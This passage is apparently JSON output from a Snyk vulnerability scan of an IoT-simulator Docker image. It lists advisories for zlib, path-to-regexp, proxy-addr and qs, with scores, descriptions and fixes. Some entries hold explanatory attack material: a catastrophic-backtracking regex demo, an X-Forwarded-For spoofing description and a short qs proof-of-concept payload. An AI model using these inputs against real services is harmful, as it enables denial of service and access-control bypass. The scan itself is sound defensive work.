"primary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.4, "cvssVersion": "3.1", "modificationTime": "2026-09-04T01:29:18.339972Z" } ], "description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nzlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.\n## Remediation\nUpgrade `Alpine:3.23` `zlib` to version 1.3.2-r1 or higher.\n## References\n- [https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490](https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490)\n- [https://github.com/madler/zlib](https://github.com/madler/zlib)\n- [https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393](https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393)\n- [https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate](https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate)\n", "epssDetails": { "percentile": "0.27225", "probability": "0.00356", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-85091" ], "CWE": [ "CWE-787" ], "ALTERNATIVE": [] }, "nvdSeverity": "high", "packageName": "zlib", "creationTime": "2026-10-07T03:03:50.501449Z", "disclosureTime": "2026-09-03T13:06:20.573000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "alpine:3.23", "publicationTime": "2026-10-07T03:03:50.509150Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-08T15:12:02.003141Z", "socialTrendAlert": false, "relativeImportance": null, "severityWithCritical": "high", "from": [ "docker-image|docker.io/scopear/iot-simulator@1.0.12_a18cd9a.162", "nodejs/nodejs@24.18.1-r0", "zlib/zlib@1.3.2-r0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "zlib/zlib", "version": "1.3.2-r0", "nearestFixedInVersion": "1.3.2-r1", "dockerfileInstruction": "apk add --no-cache nodejs npm" }, { "id": "SNYK-ALPINE323-ZLIB-20541565", "cpes": [], "title": "Out-of-bounds Write", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "credit": [ "" ], "semver": { "vulnerable": [ "<1.3.2-r1" ] }, "exploit": "Not Defined", "fixedIn": [ "1.3.2-r1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "linux", "severity": "high", "cvssScore": 7.4, "malicious": false, "isDisputed": false, "references": [ { "url": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490", "title": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490" }, { "url": "https://github.com/madler/zlib", "title": "https://github.com/madler/zlib" }, { "url": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393", "title": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393" }, { "url": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate", "title": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "cvssV3BaseScore": 7.4, "modificationTime": "2026-09-04T01:29:18.339972Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.4, "cvssVersion": "3.1", "modificationTime": "2026-09-04T01:29:18.339972Z" } ], "description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nzlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.\n## Remediation\nUpgrade `Alpine:3.23` `zlib` to version 1.3.2-r1 or higher.\n## References\n- [https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490](https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490)\n- [https://github.com/madler/zlib](https://github.com/madler/zlib)\n- [https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393](https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393)\n- [https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate](https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate)\n", "epssDetails": { "percentile": "0.27225", "probability": "0.00356", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-85091" ], "CWE": [ "CWE-787" ], "ALTERNATIVE": [] }, "nvdSeverity": "high", "packageName": "zlib", "creationTime": "2026-10-07T03:03:50.501449Z", "disclosureTime": "2026-09-03T13:06:20.573000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "alpine:3.23", "publicationTime": "2026-10-07T03:03:50.509150Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-08T15:12:02.003141Z", "socialTrendAlert": false, "relativeImportance": null, "severityWithCritical": "high", "from": [ "docker-image|docker.io/scopear/iot-simulator@1.0.12_a18cd9a.162", "apk-tools/apk-tools@3.0.7-r0", "apk-tools/libapk@3.0.7-r0", "zlib/zlib@1.3.2-r0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "zlib/zlib", "version": "1.3.2-r0", "nearestFixedInVersion": "1.3.2-r1", "dockerfileInstruction": "apk add --no-cache nodejs npm" } ], "ok": false, "dependencyCount": 36, "org": "sean.graham", "policy": "# Snyk (https://snyk.io) policy file, patches or ignores known vulnerabilities.\nversion: v1.25.1\nignore: {}\npatch: {}\n", "isPrivate": true, "licensesPolicy": { "severities": {}, "orgLicenseRules": { "AGPL-1.0": { "licenseType": "AGPL-1.0", "severity": "high", "instructions": "" }, "AGPL-3.0": { "licenseType": "AGPL-3.0", "severity": "high", "instructions": "" }, "Artistic-1.0": { "licenseType": "Artistic-1.0", "severity": "medium", "instructions": "" }, "Artistic-2.0": { "licenseType": "Artistic-2.0", "severity": "medium", "instructions": "" }, "CDDL-1.0": { "licenseType": "CDDL-1.0", "severity": "medium", "instructions": "" }, "CPOL-1.02": { "licenseType": "CPOL-1.02", "severity": "high", "instructions": "" }, "EPL-1.0": { "licenseType": "EPL-1.0", "severity": "medium", "instructions": "" }, "GPL-2.0": { "licenseType": "GPL-2.0", "severity": "high", "instructions": "" }, "GPL-3.0": { "licenseType": "GPL-3.0", "severity": "high", "instructions": "" }, "LGPL-2.0": { "licenseType": "LGPL-2.0", "severity": "medium", "instructions": "" }, "LGPL-2.1": { "licenseType": "LGPL-2.1", "severity": "medium", "instructions": "" }, "LGPL-3.0": { "licenseType": "LGPL-3.0", "severity": "medium", "instructions": "" }, "MPL-1.1": { "licenseType": "MPL-1.1", "severity": "medium", "instructions": "" }, "MPL-2.0": { "licenseType": "MPL-2.0", "severity": "medium", "instructions": "" }, "MS-RL": { "licenseType": "MS-RL", "severity": "medium", "instructions": "" }, "SimPL-2.0": { "licenseType": "SimPL-2.0", "severity": "high", "instructions": "" } } }, "packageManager": "apk", "ignoreSettings": { "adminOnly": false, "reasonRequired": false, "disregardFilesystemIgnores": false, "autoApproveIgnores": false, "approvalWorkflowEnabled": false }, "docker": { "binariesVulns": { "issuesData": {}, "affectedPkgs": {} }, "os": { "prettyName": "Alpine Linux v3.23" } }, "summary": "9 high or critical severity vulnerable dependency paths", "severityThreshold": "high", "filesystemPolicy": false, "filtered": { "ignore": [], "patch": [] }, "uniqueCount": 3, "projectName": "docker-image|docker.io/scopear/iot-simulator", "platform": "linux/amd64", "hasUnknownVersions": false, "path": "docker.io/scopear/iot-simulator:1.0.12_a18cd9a.162/scopear/iot-simulator", "applications": [ { "vulnerabilities": [ { "id": "SNYK-JS-PATHTOREGEXP-15789763", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "uug4na" ], "semver": { "vulnerable": [ ">=8.0.0 <8.4.0" ] }, "exploit": "Not Defined", "fixedIn": [ "8.4.0" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "path-to-regexp", "references": [ { "url": "https://github.com/pillarjs/path-to-regexp/commit/22a967901afc8b2b42eefe456faa7b6773dcc415", "title": "GitHub Commit" }, { "url": "https://cna.openjsf.org/security-advisories.html", "title": "OpenJS Security Advisories" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-03-29T09:39:01.246847Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:11:45.860800Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:11:45.860800Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T09:39:01.246847Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in route patterns. An attacker can cause resource exhaustion by supplying input with multiple sequential optional groups, leading to excessive computation and denial of service.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be mitigated by limiting the number of sequential optional groups in route patterns and avoiding user-controlled input as route patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `path-to-regexp` to version 8.4.0 or higher.\n## References\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/22a967901afc8b2b42eefe456faa7b6773dcc415)\n- [OpenJS Security Advisories](https://cna.openjsf.org/security-advisories.html)\n", "epssDetails": { "percentile": "0.57668", "probability": "0.00892", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-4926" ], "CWE": [ "CWE-1333" ] }, "packageName": "path-to-regexp", "proprietary": false, "creationTime": "2026-03-27T08:11:43.387356Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T20:34:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T08:11:43.704120Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:11:45.860800Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "server@1.0.0", "express@5.2.0", "router@2.2.0", "path-to-regexp@8.2.0" ], "upgradePath": [ false, "express@5.2.0", "router@2.2.0", "path-to-regexp@8.4.2" ], "isUpgradable": true, "isPatchable": false, "name": "path-to-regexp", "version": "8.2.0" }, { "id": "SNYK-JS-PATHTOREGEXP-15789765", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "blakeembrey" ], "semver": { "vulnerable": [ ">=8.0.0 <8.4.0" ] }, "exploit": "Not Defined", "fixedIn": [ "8.4.0" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "path-to-regexp", "references": [ { "url": "https://github.com/pillarjs/path-to-regexp/commit/48646547da685c1ccb76a95fe23373975a91e200", "title": "GitHub Commit" }, { "url": "https://cna.openjsf.org/security-advisories.html", "title": "OpenJS Security Advisories" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-04-03T23:28:56.963350Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:11:45.789184Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:11:45.789184Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-04-03T23:28:56.963350Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when multiple wildcards are used in combination with at least one parameter. An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted input patterns that trigger catastrophic backtracking.\r\n\r\n**Note:**\r\n\r\nThis is only exploitable if the second wildcard is not positioned at the end of the path.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `path-to-regexp` to version 8.4.0 or higher.\n## References\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/48646547da685c1ccb76a95fe23373975a91e200)\n- [OpenJS Security Advisories](https://cna.openjsf.org/security-advisories.html)\n", "epssDetails": { "percentile": "0.28221", "probability": "0.00371", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-4923" ], "CWE": [ "CWE-1333" ] }, "packageName": "path-to-regexp", "proprietary": false, "creationTime": "2026-03-27T08:16:36.880370Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T20:34:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T08:16:37.083062Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:11:45.789184Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "server@1.0.0", "express@5.2.0", "router@2.2.0", "path-to-regexp@8.2.0" ], "upgradePath": [ false, "express@5.2.0", "router@2.2.0", "path-to-regexp@8.4.2" ], "isUpgradable": true, "isPatchable": false, "name": "path-to-regexp", "version": "8.2.0" }, { "id": "SNYK-JS-PROXYADDR-19812342", "title": "User Impersonation", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "credit": [ "kagebunsher" ], "semver": { "vulnerable": [ ">=1.1.0 <2.0.8" ] }, "exploit": "Not Defined", "fixedIn": [ "2.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "critical", "cvssScore": 9.3, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "proxy-addr", "references": [ { "url": "https://github.com/jshttp/proxy-addr/security/advisories/GHSA-jqcg-44mw-7w3h", "title": "GitHub Advisory" }, { "url": "https://github.com/jshttp/proxy-addr/commit/780911d84d18e2c5fa008ed0c0d387631ec11965", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-08T05:38:39.078594Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "critical", "baseScore": 9.3, "cvssVersion": "4.0", "modificationTime": "2026-10-08T05:38:39.278167Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "assigner": "Snyk", "severity": "critical", "baseScore": 9.1, "cvssVersion": "3.1", "modificationTime": "2026-10-08T05:38:39.278167Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-08T05:38:39.078594Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to User Impersonation in its subnet matching logic, where an IPv4-mapped IPv6 trust entry with a short prefix such as `::ffff:10.0.0.0/8` compiles with all-zero leading bits and matches every address rather than the intended block. An attacker can control the value returned by `proxyaddr(req, trust)`, and therefore `req.ip` and `req.ips` in Express, by sending an arbitrary `X-Forwarded-For` header, since every client is then trusted as a proxy at hop 0, which defeats IP-based access control, rate limiting, geolocation, and audit logging. This requires the application to configure its trust list with an IPv4-mapped IPv6 subnet using a short prefix, or any IPv6 subnet with zero leading bits such as `::/1`, and the misconfiguration compiles without error.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by expressing trust subnets in plain IPv4 notation, such as `10.0.0.0/8`, or where IPv4-mapped IPv6 notation is required, by using a prefix long enough to cover the mapped marker, such as `::ffff:10.0.0.0/104`.\n## Remediation\nUpgrade `proxy-addr` to version 2.0.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/jshttp/proxy-addr/security/advisories/GHSA-jqcg-44mw-7w3h)\n- [GitHub Commit](https://github.com/jshttp/proxy-addr/commit/780911d84d18e2c5fa008ed0c0d387631ec11965)\n", "epssDetails": { "percentile": "0.23628", "probability": "0.00332", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-90711" ], "CWE": [ "CWE-290" ], "GHSA": [ "GHSA-jqcg-44mw-7w3h" ] }, "packageName": "proxy-addr", "proprietary": false, "creationTime": "2026-09-15T08:22:56.328403Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-15T07:14:51Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-15T08:22:56.519310Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-08T05:38:39.278167Z", "socialTrendAlert": false, "severityWithCritical": "critical", "from": [ "server@1.0.0", "express@5.2.0", "proxy-addr@2.0.7" ], "upgradePath": [ false, "express@5.2.0", "proxy-addr@2.0.8" ], "isUpgradable": true, "isPatchable": false, "name": "proxy-addr", "version": "2.0.7" }, { "id": "SNYK-JS-QS-15268416", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "SharokhAtaie" ], "semver": { "vulnerable": [ ">=6.7.0 <6.14.2" ] }, "exploit": "Proof of Concept", "fixedIn": [ "6.14.2" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "qs", "references": [ { "url": "https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "cvssV3BaseScore": 5.3, "modificationTime": "2026-02-13T05:44:36.413749Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-02-25T01:18:28.970240Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-11T09:15:24.566638Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-11T09:15:24.566638Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.3, "cvssVersion": "3.1", "modificationTime": "2026-02-13T05:44:36.413749Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-02-25T01:18:28.970240Z" } ], "description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `parseArrayValue` function when the `comma` option is in use. An attacker can exhaust system memory by submitting a parameter containing a large number of comma-separated values, resulting in the allocation of excessively large arrays.\r\n\r\n**Note:**\r\nThis is only exploitable if the `comma` option is explicitly set to true. `arrayLimit` is properly enforced for index and bracket notation.\n## PoC\n```js\r\nconst qs = require('qs');\r\n\r\nconst payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)\r\nconst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };\r\n\r\ntry {\r\n const result = qs.parse(payload, options);\r\n console.log(result.a.length); // Outputs: 26 (bypass successful)\r\n} catch (e) {\r\n console.log('Limit enforced:', e.message); // Not thrown\r\n}\r\n```\n## Remediation\nUpgrade `qs` to version 6.14.2 or higher.\n## References\n- [GitHub Commit](https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482)\n", "epssDetails": { "percentile": "0.43894", "probability": "0.00542", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-2391" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-w7fw-mjwx-w883" ] }, "packageName": "qs", "proprietary": false, "creationTime": "2026-02-12T07:33:26.992101Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-12T05:20:07Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-12T08:09:30.892673Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-11T09:15:24.566638Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "server@1.0.0", "body-parser@1.20.4", "qs@6.14.1" ], "upgradePath": [ false, "body-parser@1.20.4", "qs@6.14.2" ], "isUpgradable": true, "isPatchable": false, "name": 